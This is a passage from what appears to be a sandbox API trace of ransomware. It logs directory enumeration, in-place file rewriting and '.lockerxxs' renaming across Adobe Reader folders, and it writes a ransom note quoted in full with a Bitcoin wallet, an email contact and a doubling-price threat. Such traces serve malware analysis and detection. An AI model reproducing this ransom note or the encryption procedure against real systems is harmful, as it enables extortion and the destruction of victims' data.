cAlternateFileName="")) returned 0x502598 [0067.905] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\benioku.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\benioku.htm.lockerxxs")) returned 1 [0067.909] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\berime.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\berime.htm.lockerxxs")) returned 1 [0067.910] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6c0069, dwReserved1=0x730065, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0067.915] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\irakhau.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\irakhau.htm.lockerxxs")) returned 1 [0067.919] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leame.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leame.htm.lockerxxs")) returned 1 [0067.924] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leesmij.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leesmij.htm.lockerxxs")) returned 1 [0067.927] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leggimi.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leggimi.htm.lockerxxs")) returned 1 [0067.930] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leiame.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leiame.htm.lockerxxs")) returned 1 [0067.935] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\liesmich.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\liesmich.htm.lockerxxs")) returned 1 [0067.959] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\lisezmoi.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\lisezmoi.htm.lockerxxs")) returned 1 [0067.992] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\llegiu-me.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\llegiu-me.htm.lockerxxs")) returned 1 [0067.997] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\lueminut.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\lueminut.htm.lockerxxs")) returned 1 [0067.998] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6c0069, dwReserved1=0x730065, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0068.003] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x802ba700, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501588, cFileName=".", cAlternateFileName="")) returned 0x502618 [0068.011] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d95e8c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501588, cFileName=".", cAlternateFileName="")) returned 0x502618 [0068.049] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501588, cFileName=".", cAlternateFileName="")) returned 0x502618 [0068.067] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014f8, dwReserved1=0x5014f3, cFileName=".", cAlternateFileName="")) returned 0x502658 [0068.083] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\AdobeID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\adobeid.pdf.lockerxxs")) returned 1 [0068.105] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\DefaultID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\defaultid.pdf.lockerxxs")) returned 1 [0068.107] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8039ef40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8039ef40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xed0003ee, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0068.131] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\chs\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\AdobeID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\chs\\adobeid.pdf.lockerxxs")) returned 1 [0068.154] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\chs\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\DefaultID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\chs\\defaultid.pdf.lockerxxs")) returned 1 [0068.155] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8039ef40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8039ef40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xed0003ee, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0068.179] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\AdobeID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht\\adobeid.pdf.lockerxxs")) returned 1 [0068.198] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\DefaultID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht\\defaultid.pdf.lockerxxs")) returned 1 [0068.199] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xed0003ee, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0068.239] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\AdobeID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze\\adobeid.pdf.lockerxxs")) returned 1 [0068.249] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\DefaultID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze\\defaultid.pdf.lockerxxs")) returned 1 [0068.250] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80378de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80378de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xed0003ee, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0068.261] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\AdobeID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan\\adobeid.pdf.lockerxxs")) returned 1 [0068.269] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\DefaultID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan\\defaultid.pdf.lockerxxs")) returned 1 [0068.270] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8058e120, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xed0003ee, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0068.278] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\AdobeID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu\\adobeid.pdf.lockerxxs")) returned 1 [0068.285] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\DefaultID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu\\defaultid.pdf.lockerxxs")) returned 1 [0068.286] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8058e120, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8058e120, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xed0003ee, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0068.293] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\enu\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\AdobeID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\enu\\adobeid.pdf.lockerxxs")) returned 1 [0068.310] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\enu\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\DefaultID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\enu\\defaultid.pdf.lockerxxs")) returned 1 [0068.313] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0068.314] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\", lpString2="ESP" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP" [0068.314] lstrlenA (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP") returned 63 [0068.314] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xed0003ee, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0068.316] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\" [0068.316] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\") returned="" [0068.316] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\HOW TO DECRYPT FILES.txt" [0068.316] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp\\how to decrypt files.txt")) returned 0xffffffff [0068.317] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0068.317] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0068.317] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0068.319] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0068.319] CloseHandle (hObject=0x94) returned 1 [0068.319] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", lpString2="AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\AdobeID.pdf" [0068.320] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\AdobeID.pdf" [0068.320] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\AdobeID.pdf" [0068.320] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\AdobeID.pdf", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\AdobeID.pdf.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\AdobeID.pdf." [0068.320] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\AdobeID.pdf.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\AdobeID.pdf.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\AdobeID.pdf.lockerxxs" [0068.320] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0068.320] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x109db [0068.321] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9640cd00, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x805b4280, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9640cd00, dwHighDateTime=0x1cb84b4)) returned 1 [0068.321] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.321] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x109b5, lpOverlapped=0x0) returned 1 [0068.324] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\AdobeID.pdf") returned="AdobeID.pdf" [0068.325] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.325] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x109b5, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x109b5, lpOverlapped=0x0) returned 1 [0068.325] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0068.326] CloseHandle (hObject=0x94) returned 1 [0068.336] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 